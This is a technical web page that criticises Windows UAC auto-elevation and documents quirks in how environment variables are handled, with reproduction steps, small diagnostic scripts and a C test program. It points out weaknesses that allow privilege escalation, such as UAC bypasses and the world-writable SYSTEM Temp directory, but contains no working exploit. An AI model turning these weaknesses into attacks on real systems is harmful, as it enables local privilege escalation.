The well-known latin proverb
quod non est in actis, non est in mundo.
(english
What is not in the documents does not exist.
) does not apply
here.
User Account Protection was the preliminary name for a core security component of Windows Vista. The component has now been officially named User Account Control (UAC).How to disable User Account Control (UAC) on Windows Server Windows Vista® introduced the
security feature(really: security theatre) User Account Control – programs which need or want to be run with administrative privileges and access rights have to ask the user for consent.
This made some (really: a minority of) users quite angry –
although these (rather braindead) users continued to
abuse the (privileged)
Protected Administrator
account created during
Windows Setup for their daily work (instead to
follow best practise
and use an unprivileged limited
alias standard
user account), they had to answer a prompt
whenever they wanted to perform an administrative task.
Unfortunately Microsoft heard these users and weakened
the security feature
(really:
security nightmare) – Windows 7
introduced auto-elevation
and enabled it for some 55 programs
shipped with Windows 7 and later versions, which
don’t prompt for consent any more.
Due to flaws in the design and deficiencies in the implementation of
User Account Control it can be bypassed trivially in
numerous ways with its auto-elevation
(mis)feature enabled.
As result, arbitrary programs can then be run with administrative
privileges and access rights without prompting the user for consent.
To defeat some of these trivial bypasses, auto-elevation
must
be disabled by moving the slider of the
User Account Control setting to its highest position
titled Always notify
, as documented and shown in the
MSKB
articles
975787
and
4462938.
Caveat: the slider position displayed in the
graphical user interface but does not always match
the effective setting – it shows Always notify
even if
the default setting
Notify me only when programs try to make changes to my computer
is configured!
Log on to the
user Protected Administrator
account created during Windows Setup.
Start one of the programs which have auto-elevation
enabled,
for example
NetPlWiz.exe
,
PrintUI.exe
or
WUSA.exe
– they start without to prompt for consent.
On a default installation of Windows 7 or later
versions of Windows NT perform the following 9 simple
steps.
Open Control Panel, then User Accounts and
click Change User Account Control setting
, then move the
slider to its highest position titled Always notify
and click
the button to apply the new setting.
Run the command line
"%SystemRoot%\System32\MMC.exe" "%SystemRoot%\System32\GPEdit.msc"
to start the
Local Group Policy Editor snap-in of
the Microsoft Management Console, or
execute the command line
"%SystemRoot%\System32\MMC.exe" "%SystemRoot%\System32\SecPol.msc"
to start the Local Security Policy
snap-in, answer the prompt for consent, then open the
Local Policies
folder and the Security Options
subfolder below it – the policy
User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode
is displayed as Prompt for consent on the secure desktop
,
properly matching the setting applied in step 3.
Repeat step 2. – auto-elevating programs prompt for consent now.
Start the Registry Editor
RegEdit.exe
, answer the prompt
for consent, then open the registry key
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
and delete the DWORD
registry entry
ConsentPromptBehaviorAdmin
present there.
Repeat step 4. – the policy
User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode
is now properly displayed as Not Defined
.
Open Control Panel, then User Accounts
and click Change User Account Control setting
– the
slider is still displayed in its highest position
Always notify
.
Repeat step 2. – despite the unchanged
slider position Always notify
auto-elevating programs
don’t prompt for consent any more!
setting, but abuses a registry entry reserved for a
policyinstead, it misinterprets the default policy value
Not Definedand violates the more than 25 year old Designed for Windows guidelines!
[HKEY_CURRENT_USER\Software\‹company›\‹application›]
"‹setting›"=‹value›
or as
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\‹application›]
"‹setting›"=‹value›
[HKEY_CURRENT_USER\Software\Policies\‹company›\‹application›]
"‹policy›"=‹value›
or as
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\‹application›]
"‹policy›"=‹value›
[HKEY_LOCAL_MACHINE\SOFTWARE\‹company›\‹application›]
"‹setting›"=‹value›
or as
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\‹application›]
"‹setting›"=‹value›
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\‹company›\‹application›]
"‹policy›"=‹value›
or as
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\‹application›]
"‹policy›"=‹value›
Every process has an environment block that contains a set of environment variables and their values. There are two types of environment variables: user environment variables (set for each user) and system environment variables (set for everyone).By default, a child process inherits the environment variables of its parent process. […]
[…] To programmatically add or modify system environment variables, add them to the HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment registry key, […]
Environment variables specify search paths for files, directories for temporary files, application-specific options, and other similar information. The system maintains an environment block for each user and one for the computer. The system environment block represents environment variables for all users of the particular computer. A user's environment block represents the environment variables the system maintains for that particular user, including the set of system environment variables.Both articles but fail to tell that two kinds of user environment variables exist, persistent and volatile, that volatile environment variables obscure persistent environment variables with the same name, how to add, modify or remove them, and where they are stored – persistent user environment variables are stored in the registry keyBy default, each process receives a copy of the environment block for its parent process. Typically, this is the environment block for the user who is logged on. […]
HKEY_CURRENT_USER\Environment
alias
HKEY_USERS\‹security identifier›\Environment
,
while volatile user environment variables are stored in the
(volatile) registry key
HKEY_CURRENT_USER\Volatile Environment
alias
HKEY_USERS\‹security identifier›\Volatile Environment
,
where they are created during user logon and discarded when the user
logs off.
HKEY_CURRENT_USER
The articles also fail to tell that user environment variables obscure system environment variables of the same name – with but four notable exceptions:
LibPath
,
OS2LibPath
and Path
are assigned to the
respective process environment variable during user logon;
NT AUTHORITY\SYSTEM
alias
LocalSystem
get the system environment variables TEMP
and
TMP
instead of the respective user environment
variables!
Thanks
to the braindead (mis)behaviour
listed last, privileged processes running under the user account
NT AUTHORITY\SYSTEM
alias
LocalSystem
use the public user-writable and therefore unsafe
directory %SystemRoot%\Temp\
instead of their private
and safe directory
%USERPROFILE%\AppData\Local\Temp\
alias
%SystemRoot%\System32\Config\SystemProfile\AppData\Local\Temp\
,
allowing unprivileged users to tamper with (executable) files
created there by these privileged processes, eventually resulting in
local escalation of privilege.
Note: see the Security Advisory ADV170017 for just one example of such a vulnerability.
Both articles also fail to tell that not all system environment
variables are stored in the registry key
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
– the system environment variables
ALLUSERSPROFILE
, COMPUTERNAME
,
PROCESSOR_ARCHITEW6432
, PUBLIC
,
CommonProgramFiles
,
CommonProgramFiles(x86)
,
CommonProgramW6432
,
ProgramData
, ProgramFiles
,
ProgramFiles(x86)
, ProgramW6432
,
SystemDrive
and SystemRoot
are created
programmatically, similar to the volatile user environment variables
created during user logon.
Note: they are but obscured by persistent system environment variables as well as persistent and volatile user environment variables with the same name stored in the registry keys shown above!
The MSDN article WOW64 Implementation Details states:
And last, both articles fail to mention the immutable dynamic system environment variablesWhen a 32-bit process is created by a 64-bit process, or when a 64-bit process is created by a 32-bit process, WOW64 sets the environment variables for the created process as shown in the following table.
Process Environment variables 64-bit process PROCESSOR_ARCHITECTURE=AMD64 or PROCESSOR_ARCHITECTURE=IA64 or PROCESSOR_ARCHITECTURE=ARM64
ProgramFiles=%ProgramFiles%
ProgramW6432=%ProgramFiles%
CommonProgramFiles=%CommonProgramFiles%
CommonProgramW6432=%CommonProgramFiles%
Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: The ProgramW6432 and CommonProgramW6432 environment variables were added starting with Windows 7 and Windows Server 2008 R2.32-bit process PROCESSOR_ARCHITECTURE=x86
PROCESSOR_ARCHITEW6432=%PROCESSOR_ARCHITECTURE%
ProgramFiles=%ProgramFiles(x86)%
ProgramW6432=%ProgramFiles%
CommonProgramFiles=%CommonProgramFiles(x86)%
CommonProgramW6432=%CommonProgramFiles%
FIRMWARE_TYPE
,
NUMBER_OF_PROCESSORS
, __APPDIR__
and
__CD__
which are nowhere stored and not present in the
process environment block, but evaluated upon expansion.
Note: they are not obscured by regular environment variables of the same name!
%SystemRoot%\Profiles\%USERNAME%\
into new directories
%SystemDrive%\Documents and Settings\%USERNAME%\
.
NT AUTHORITY\SYSTEM
alias
LocalSystem
in the new directory
%SystemRoot%\System32\Config\SystemProfile\
.
Note: its location was a rather
braindead choice – it is subject to
file system redirection
on 64-bit editions of Windows NT, where two separate
directories
%SystemRoot%\System32\Config\SystemProfile\
and
%SystemRoot%\SysWoW64\Config\SystemProfile\
exist!
The world-writable Temp
directory
%SystemRoot%\Temp\
, shared by all users in previous
versions of Windows NT, was replaced with separate
private Temp
directories
%USERPROFILE%\Local Settings\Temp\
alias
%SystemDrive%\Documents and Settings\%USERNAME%\Local Settings\Temp\
located within the user profiles – except for
the
LocalSystem
user account, which continued (and still continues) to use the
(still world-writable) directory %SystemRoot%\Temp\
!
Windows XP added the (less privileged) user accounts
NT AUTHORITY\LOCAL SERVICE
alias
LocalService
and NT AUTHORITY\NETWORK SERVICE
alias
NetworkService
,
placed their user profiles in the directories
%SystemDrive%\Documents and Settings\LocalService\
and
%SystemDrive%\Documents and Settings\NetworkService\
,
set their user environment variables TEMP
and
TMP
to %USERPROFILE%\Local Settings\Temp
,
and created a private Temp
directory within both user
profiles.
Windows Vista relocated these two service profiles to
the new directories
%SystemRoot%\ServiceProfiles\LocalService\
and
%SystemRoot%\ServiceProfiles\NetworkService\
, relocated
all regular user profiles
%SystemDrive%\Documents and Settings\%USERNAME%\
to
the directories %SystemDrive%\Users\%USERNAME%\
, but
kept the profiles
%SystemRoot%\System32\Config\SystemProfile\
and
%SystemRoot%\SysWoW64\Config\SystemProfile\
.
All user accounts except
LocalSystem
kept their private Temp
directory, now
%USERPROFILE%\AppData\Local\Temp\
alias
%SystemDrive%\Users\%USERNAME%\AppData\Local\Temp\
for
the regular user accounts and
%SystemRoot%\ServiceProfiles\LocalService\AppData\Local\Temp\
respectively
%SystemRoot%\ServiceProfiles\NetworkService\AppData\Local\Temp\
for the service user accounts.
At least since Windows 7 the user environment variables
TEMP
and TMP
are set in the
LocalSystem
user account too, despite the directory
%USERPROFILE%\AppData\Local\Temp\
alias
%SystemRoot%\System32\Config\SystemProfile\AppData\Local\Temp\
or
%SystemRoot%\SysWoW64\Config\SystemProfile\AppData\Local\Temp\
is missing in its user profiles!
The MSDN article Profiles Directory provides additional information.
Create the text file quirk1.vbs
with the following
content in an arbitrary, preferable empty directory:
Rem Copyright © 1999-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
With WScript.CreateObject("WScript.Shell")
WScript.StdOut.WriteLine "Environment Variables"
For Each strScope In Array("PROCESS", "SYSTEM", "USER", "VOLATILE")
WScript.StdOut.WriteLine
WScript.StdOut.WriteLine "Scope '" & strScope & "': " & .Environment(strScope).Count & " items"
For Each strItem In .Environment(strScope)
WScript.StdOut.WriteLine vbTab & strItem
Next
Next
End With
Execute the
VBScript
quirk1.vbs
created in step 1. under the
LocalSystem
user account to list the environment variables of all scopes:
CSCRIPT.EXE quirk1.vbs
Microsoft (R) Windows Script Host, Version 5.812 Copyright (C) Microsoft Corporation. All rights reserved. Environment Variables Scope 'PROCESS': 31 items ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Windows\system32\config\systemprofile\AppData\Roaming CommonProgramFiles=C:\Program Files\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=AMNESIAC ComSpec=C:\Windows\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData LOCALAPPDATA=C:\Windows\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS=2 OS=Windows_NT Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 23 Stepping 10, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=170a ProgramData=C:\ProgramData ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SystemDrive=C: SystemRoot=C:\Windows TEMP=C:\Windows\TEMP TMP=C:\Windows\TEMP USERDOMAIN=KANTHAK USERNAME=AMNESIAC$ USERPROFILE=C:\Windows\system32\config\systemprofile windir=C:\Windows Scope 'SYSTEM': 15 items ComSpec=%SystemRoot%\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData OS=Windows_NT Path=%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SYSTEMROOT%\System32\OpenSSH\ PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PSModulePath=%SystemRoot%\system32\WindowsPowerShell\v1.0\Modules\ TEMP=%SystemRoot%\TEMP TMP=%SystemRoot%\TEMP USERNAME=SYSTEM windir=%SystemRoot% NUMBER_OF_PROCESSORS=2 PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 23 Stepping 10, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=170a Scope 'USER': 3 items PATH=%USERPROFILE%\AppData\Local\Microsoft\WindowsApps; TEMP=%USERPROFILE%\AppData\Local\Temp TMP=%USERPROFILE%\AppData\Local\Temp Scope 'VOLATILE': 0 itemsOops: although the user environment variables
TEMP
and TMP
exist, the process
environment variables TEMP
and TMP
were
set from the system environment variables!
Start the Command Processor
Cmd.exe
under the
LocalSystem
user account, then list all environment variables and (the contents
of) the directory %LOCALAPPDATA%\
alias
%USERPROFILE%\AppData\Local\
alias
%SystemRoot%\System32\Config\SystemProfile\AppData\Local\
to determine whether a subdirectory Temp\
exists there:
SET DIR /A "%LOCALAPPDATA%"
ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Windows\system32\config\systemprofile\AppData\Roaming CommonProgramFiles=C:\Program Files\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=AMNESIAC ComSpec=C:\Windows\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData LOCALAPPDATA=C:\Windows\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS=2 OS=Windows_NT Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 23 Stepping 10, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=170a ProgramData=C:\ProgramData ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PROMPT=$P$G PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SystemDrive=C: SystemRoot=C:\Windows TEMP=C:\Windows\TEMP TMP=C:\Windows\TEMP USERDOMAIN=KANTHAK USERNAME=AMNESIAC$ USERPROFILE=C:\Windows\system32\config\systemprofile windir=C:\Windows Volume in drive C has no label. Volume Serial Number is 1957-0427 Directory of C:\Windows\system32\config\systemprofile\AppData\Local 04/27/2019 08:15 PM <DIR> . 04/27/2019 08:15 PM <DIR> .. 04/27/2019 08:15 PM <DIR> Microsoft 0 File(s) 0 bytes 3 Dir(s) 9,876,543,210 bytes freeOops: a subdirectory
Temp\
does not
exist!
Query the registry keys
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
,
HKEY_USERS\S-1-5-18\Environment
and
HKEY_USERS\S-1-5-18\Volatile Environment
to list the
environment variables stored in the registry:
REG.EXE QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" REG.EXE QUERY "HKEY_USERS\S-1-5-18\Environment" REG.EXE QUERY "HKEY_USERS\S-1-5-18\Volatile Environment"Note: the MSKB article 243300 gives the well-known SID
S-1-5-18
for the
NT AUTHORITY\SYSTEM
alias
LocalSystem
user account.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment ComSpec REG_EXPAND_SZ %SystemRoot%\system32\cmd.exe DriverData REG_SZ C:\Windows\System32\Drivers\DriverData OS REG_SZ Windows_NT Path REG_EXPAND_SZ %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SYSTEMROOT%\System32\OpenSSH\ PATHEXT REG_SZ .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE REG_SZ AMD64 PSModulePath REG_EXPAND_SZ %ProgramFiles%\WindowsPowerShell\Modules;%SystemRoot%\system32\WindowsPowerShell\v1.0\Modules TEMP REG_EXPAND_SZ %SystemRoot%\TEMP TMP REG_EXPAND_SZ %SystemRoot%\TEMP USERNAME REG_SZ SYSTEM windir REG_EXPAND_SZ %SystemRoot% NUMBER_OF_PROCESSORS REG_SZ 2 PROCESSOR_IDENTIFIER REG_SZ Intel64 Family 6 Model 23 Stepping 10, GenuineIntel PROCESSOR_LEVEL REG_SZ 6 PROCESSOR_REVISION REG_SZ 170a HKEY_USERS\S-1-5-18\Environment Path REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Microsoft\WindowsApps; TEMP REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Temp TMP REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Temp ERROR: The specified registry key or value was not found.
Query the registry keys HKEY_CURRENT_USER\Environment
and HKEY_CURRENT_USER\Volatile Environment
of a
standard user account for comparison:
REG.EXE QUERY "HKEY_CURRENT_USER\Environment" REG.EXE QUERY "HKEY_CURRENT_USER\Volatile Environment" /S
HKEY_CURRENT_USER\Environment Path REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Microsoft\WindowsApps; TEMP REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Temp TMP REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Temp HKEY_CURRENT_USER\Volatile Environment LOGONSERVER REG_SZ \\AMNESIAC USERDOMAIN REG_SZ AMNESIAC USERNAME REG_SZ Stefan USERPROFILE REG_SZ C:\Users\Stefan HOMEPATH REG_SZ \Users\Stefan HOMEDRIVE REG_SZ C: APPDATA REG_SZ C:\Users\Stefan\AppData\Roaming LOCALAPPDATA REG_SZ C:\Users\Stefan\AppData\Local USERDOMAIN_ROAMINGPROFILE REG_SZ AMNESIAC HKEY_CURRENT_USER\Volatile Environment\1 SESSIONNAME REG_SZ Console CLIENTNAME REG_SZ
%SystemRoot%\System32\Config\SystemProfile\AppData\Local\Temp\
(on 64-bit systems
%SystemRoot%\SysWoW64\Config\SystemProfile\AppData\Local\Temp\
too), then start the program
SystemPropertiesAdvanced.exe
,
click the button ,
replace the value %SystemRoot%\TEMP
of the system
environment variables TEMP
and TMP
with
%USERPROFILE%\AppData\Local\Temp
, save the changed
settings and reboot the system.
Caveat: on 64-bit systems, the disjoint directories might cause surprising (mis)behaviour!
Create the text file quirk1.cmd
with the following
content in an arbitrary, preferable empty directory:
REM Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
@IF NOT DEFINED SystemRoot EXIT /B
@CHDIR /D "%SystemRoot%"
@IF NOT EXIST "SysWoW64\CMD.EXE" EXIT /B
@FOR /F "Delims==" %%? IN ('SET') DO @SET "%%?="
@SET SystemRoot=%CD%
@IF EXIST "SysNative\CMD.EXE" (
"SysNative\CMD.EXE" /D /C "SET & EXIT"
) ELSE (
"SysWoW64\CMD.EXE" /D /C "SET & CALL ""%~f0"" & PAUSE & EXIT"
)
@EXIT /B
On a 64-bit system, start the batch script quirk1.cmd
created in step 1. per double-click:
REM Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de> COMSPEC=C:\Windows\SysWoW64\cmd.exe PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC PROMPT=$P$G SystemRoot=C:\Windows REM Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de> COMSPEC=C:\Windows\system32\cmd.exe PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC PROMPT=$P$G SystemRoot=C:\Windows Press any key to continue . . .OOPS: if one of the environment variables
CommonProgramFiles
,
CommonProgramFiles(x86)
, ProgramFiles
,
ProgramFiles(x86)
or
PROCESSOR_ARCHITECTURE
is not present in the
environment block of the parent process, the derived environment
variables CommonProgramFiles
and
CommonProgramW6432
respectively
ProgramFiles
and ProgramW6432
are not set
in 64-bit processes started from a 32-bit process, while in 32-bit
processes started from a 64-bit process the derived environment
variables CommonProgramFiles
,
CommonProgramW6432
, ProgramFiles
,
ProgramW6432
respectively
PROCESSOR_ARCHITEW6432
as well as the inherited
environment variable PROCESSOR_ARCHITECTURE
are
missing!
Start the Command Processor
Cmd.exe
, then execute the
following command lines:
SET NUMBER_OF_PROCESSORS= IF DEFINED NUMBER_OF_PROCESSORS SET NUMBER_OF_PROCESSORS ECHO %NUMBER_OF_PROCESSORS% SET NUMBER_OF_PROCESSORS=quirk SET NUMBER_OF_PROCESSORS ECHO %NUMBER_OF_PROCESSORS% IF DEFINED __APPDIR__ SET __APPDIR__ ECHO %__APPDIR__% SET __APPDIR__=quirk SET __APPDIR__ ECHO %__APPDIR__% IF DEFINED __CD__ SET __CD__ ECHO %__CD__% SET __CD__=quirk SET __CD__ ECHO %__CD__%Note: the command lines can be copied and pasted as block into a Command Processor window.
Environment variable NUMBER_OF_PROCESSORS not defined! 2 NUMBER_OF_PROCESSORS=quirk 2 Environment variable __APPDIR__ not defined! C:\Windows\system32\ __APPDIR__=quirk C:\Windows\system32\ Environment variable __CD__ not defined C:\Users\Stefan\Desktop\ __CD__=quirk C:\Users\Stefan\Desktop\OUCH¹: the undocumented (dynamic) environment variables
NUMBER_OF_PROCESSORS
,
__APPDIR__
and __CD__
are both defined and
not defined – they exhibit a quantum superposition like a
qubit!
OUCH²: a (regular) environment variable
NUMBER_OF_PROCESSORS
, __APPDIR__
or
__CD__
shows two different values – again a
quantum superposition!
NOTE: the undocumented (dynamic) environment
variables FIRMWARE_TYPE
(introduced with
Windows 8), NUMBER_OF_PROCESSORS
,
__APPDIR__
and __CD__
are created
(read-only) deep down in the bowels of
NTDLL.dll
– they are
evaluated by the Win32 functions
ExpandEnvironmentStrings()
,
ExpandEnvironmentStringsForUser()
and
GetEnvironmentVariable()
even if a regular environment variable of the same name exists in
the process’ environment block!
Create the text file quirk1.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <userenv.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
const LPCWSTR szQuirk[] = {L"ALLUSERSPROFILE",
L"APPDATA",
L"CommonAppData",
L"CommonProgramFiles",
L"CommonProgramFiles(x86)",
L"CommonProgramW6432",
L"COMSPEC",
L"DriverData",
L"HOMEDRIVE",
L"HOMEPATH",
L"LOCALAPPDATA",
L"PATH",
L"ProgramData",
L"ProgramFiles",
L"ProgramFiles(x86)",
L"ProgramW6432",
L"PSModulePath",
L"PUBLIC",
L"SystemDrive",
L"SystemRoot",
L"TEMP",
L"TMP",
L"USERPROFILE",
L"windir"};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
DWORD dwError;
DWORD dwQuirk = 0;
LPWSTR lpQuirk;
LPWSTR lpBlock;
HKEY hk;
HANDLE hToken;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
#ifndef QUIRKS
do
if (!SetEnvironmentVariable(szQuirk[dwQuirk], L""))
PrintConsole(hConsole,
L"SetEnvironmentVariable() returned error %lu\n",
dwError = GetLastError());
while (++dwQuirk < sizeof(szQuirk) / sizeof(*szQuirk));
lpBlock = GetEnvironmentStrings();
if (lpBlock == NULL)
PrintConsole(hConsole,
L"GetEnvironmentStrings() returned error %lu\n",
dwError = GetLastError());
else
{
for (lpQuirk = lpBlock;
lpQuirk[0] != L'\0';
lpQuirk[dwQuirk = wcslen(lpQuirk)] = L'\n', lpQuirk += dwQuirk + 1)
continue;
if (!WriteConsole(hConsole, lpBlock, lpQuirk - lpBlock, &dwQuirk, NULL))
PrintConsole(hConsole,
L"WriteConsole() returned error %lu\n",
dwError = GetLastError());
else
if (dwQuirk != lpQuirk - lpBlock)
dwError = ERROR_WRITE_FAULT;
else
dwError = ERROR_SUCCESS;
if (!FreeEnvironmentStrings(lpBlock))
PrintConsole(hConsole,
L"FreeEnvironmentStrings() returned error %lu\n",
dwError = GetLastError());
}
#else // QUIRKS
#if QUIRKS == 3
dwError = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
L"SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment",
#elif QUIRKS == 2
dwError = RegOpenKeyEx(HKEY_CURRENT_USER,
L"Environment",
#elif QUIRKS <= 1
dwError = RegOpenKeyEx(HKEY_CURRENT_USER,
L"Volatile Environment",
#else
#error QUIRKS out of range from 0 to 3!
#endif
REG_OPTION_RESERVED,
KEY_WRITE,
&hk);
if (dwError != ERROR_SUCCESS)
PrintConsole(hConsole,
L"RegOpenKeyEx() returned error %lu\n",
dwError);
else
{
do
{
dwError = RegSetValueEx(hk,
szQuirk[dwQuirk],
0,
REG_SZ,
#if QUIRKS == 0
NULL,
0);
#else
L"",
sizeof(L""));
#endif
if (dwError != ERROR_SUCCESS)
PrintConsole(hConsole,
L"RegSetValueEx() returned error %lu\n",
dwError);
} while (++dwQuirk < sizeof(szQuirk) / sizeof(*szQuirk));
dwError = RegCloseKey(hk);
if (dwError != ERROR_SUCCESS)
PrintConsole(hConsole,
L"RegCloseKey() returned error %lu\n",
dwError);
}
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
PrintConsole(hConsole,
L"OpenProcessToken() returned error %lu\n",
dwError = GetLastError());
else
{
if (!CreateEnvironmentBlock(&lpBlock, hToken, FALSE))
PrintConsole(hConsole,
L"CreateEnvironmentBlock() returned error %lu\n",
dwError = GetLastError());
else
{
for (lpQuirk = lpBlock;
lpQuirk[0] != L'\0';
lpQuirk[dwQuirk = wcslen(lpQuirk)] = L'\n', lpQuirk += dwQuirk + 1)
continue;
if (!WriteConsole(hConsole, lpBlock, lpQuirk - lpBlock, &dwQuirk, NULL))
PrintConsole(hConsole,
L"WriteConsole() returned error %lu\n",
dwError = GetLastError());
else
if (dwQuirk != lpQuirk - lpBlock)
dwError = ERROR_WRITE_FAULT;
if (!DestroyEnvironmentBlock(lpBlock))
PrintConsole(hConsole,
L"DestroyEnvironmentBlock() returned error %lu\n",
GetLastError());
}
if (!CloseHandle(hToken))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
#endif // QUIRKS
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk1.exe
from the
source file quirk1.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk1.c advapi32.lib kernel32.lib user32.lib userenv.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk1.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Note: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk1.c quirk1.c(98) : warning C4389: '!=' : signed/unsigned mismatch quirk1.c(65) : warning C4101: 'hToken' : unreferenced local variable quirk1.c(64) : warning C4101: 'hk' : unreferenced local variable Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk1.exe quirk1.obj advapi32.lib kernel32.lib user32.lib userenv.lib
Execute the console application quirk1.exe
built in
step 2. to show proper behaviour first:
.\quirk1.exe
